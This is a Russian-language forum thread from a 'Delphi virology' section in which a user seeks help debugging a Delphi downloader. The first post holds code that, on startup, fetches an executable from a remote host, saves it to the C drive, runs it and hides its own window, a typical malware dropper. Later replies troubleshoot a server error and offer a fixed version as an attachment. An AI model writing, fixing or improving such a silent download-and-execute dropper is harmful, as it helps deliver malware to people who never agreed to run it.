Четверг, 28.03.2024, 19:20 Приветствую вас Гость | Группа "Гости" 
[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Модератор форума: Волк-1024, Anton93, xXxSh@dowxXx  
delphicode » Delphi » Вирусология Delphi » downoader (downoader)
downoader
MASДата: Воскресенье, 22.06.2014, 21:22 | Сообщение # 1
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Привет всем, ошибка вылетает, на форму кинул idhttp, antifreez
вылетает ошибка HTTP/1.1 302 found (msgbox'ом) У меня вин7, делфи 7
вот код
Код

procedure TForm1.FormCreate(Sender: TObject);
var
q :tmemorystream;
begin
q:=TMemoryStream.Create;
idHTTP1.Get('http://xxx.com/tt.exe',q);   
q.SaveToFile('C:\\tt.exe');   
WinExec(PChar('C:\\tt.exe'), SW_SHOW);
Application.ShowMainForm := False;   
end;
end.


За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
 
dolphinДата: Понедельник, 23.06.2014, 10:20 | Сообщение # 2
Администратор
Сообщений: 906
Статус: Offline
Исправлен и дополнен, работает.
Доступно только для пользователей
Прикрепления: Project1.zip (1.9 Kb)


Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик


Сообщение отредактировал dolphin - Понедельник, 23.06.2014, 10:26
 
MASДата: Вторник, 24.06.2014, 21:37 | Сообщение # 3
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Цитата dolphin ()
Прикрепления: Project1.zip(2Kb)

ошибка опять , вот скриншот http://i61.fastpic.ru/big....35f.png


За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
 
Anton93Дата: Вторник, 24.06.2014, 23:12 | Сообщение # 4
Продвинутый
Зарегистрирован: 06.01.2010
Группа: Модераторы
Сообщений: 320
Статус: Offline
MAS, так это ответ от сервера тебе идет, о том что файл не найден

ICQ: 41896
 
Волк-1024Дата: Среда, 25.06.2014, 00:38 | Сообщение # 5
Авторитетный
Зарегистрирован: 24.07.2011
Группа: Модераторы
Сообщений: 469
Статус: Offline
Oh mein Gott! Кто-то ещё программирует на компонентах??? Это же извращение!

И вообще! Всё это дело нужно писать на сокетах! Но...мне лень. Поэтому вот:



Pascal, C\C++, Assembler, Python
 
dolphinДата: Среда, 25.06.2014, 11:41 | Сообщение # 6
Администратор
Сообщений: 906
Статус: Offline
Волк-1024, Тут вопрос принципа наверно. Человеку нужно обязательно компоненты использовать, почему бы и нет, в некоторых случаях это оправдано в аспекте тематики нашего сайта.

Система: Windows 10 x64, Kali Linux
Среды программирования: Delphi 7, Delphi 10.x

Я не профессионал, я всего лишь любитель
Я не вредитель, я всего лишь теоретик
 
MASДата: Среда, 25.06.2014, 19:56 | Сообщение # 7
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Цитата Волк-1024 ()
Всё это дело нужно писать на сокетах! Но...мне лень.

Кстати ошибка что-то о сокетах была, не успел прочесть, жаль что тебе лень =)

Добавлено (25.06.2014, 19:56)
---------------------------------------------

Цитата Anton93 ()
так это ответ от сервера тебе идет, о том что файл не найден

Ммм.. странно, фаил на сервере. На fasm получалось отлично, но сейчас какие-то пробле, при запуске скомпилированного фаила открывается какое-то черное окно похожее на cmd и скачивает как бы фаил, но такое же окно вылезает у скаченного фаила, при запуске.


За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)
 
NeoДата: Понедельник, 30.06.2014, 16:34 | Сообщение # 8
Модератор
Зарегистрирован: 04.05.2010
Группа: Модераторы
Сообщений: 317
Статус: Offline
MAS, Выложи свой код полностью.
 
MASДата: Вторник, 15.07.2014, 21:20 | Сообщение # 9
Участник
Зарегистрирован: 16.08.2013
Группа: Пользователи
Сообщений: 67
Статус: Offline
Цитата Neo ()
Выложи свой код полностью.

Я скачал исходник dolphina ( выше смотри, он дал)


За одну ночь нельзя изменить свою жизнь, но за одну ночь можно изменить мысли которые изменят твою жизнь. (MAS)

Сообщение отредактировал MAS - Вторник, 15.07.2014, 21:20
 
delphicode » Delphi » Вирусология Delphi » downoader (downoader)
  • Страница 1 из 1
  • 1
Поиск:

delphicode.ru © 2008 - 2024 Хостинг от uCoz